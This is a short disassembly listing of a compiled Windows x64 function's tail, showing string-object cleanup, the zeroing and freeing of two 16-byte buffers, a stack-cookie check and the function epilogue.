mov byte [rbp + 0x20], r15b
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140007b56
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140007b91
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
movdqa xmm0, xmmword [0x14003fee0]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], r15b
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140007be3
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007bde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
movdqa xmm0, xmmword [0x14003fee0]
movdqu xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x100], r15b
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140007c35
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007c30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r15b
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140007c94
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007c81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
jmp 0x140007c94
mov rcx, rbx
call fcn.140034ee0
mov rsi, qword [rbp - 0x68]
test r13, r13
je 0x140007cae
mov rdi, r13
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, r13
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
test rsi, rsi
je 0x140007cc8
mov rdi, rsi
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
xor eax, eax
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140034b40
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret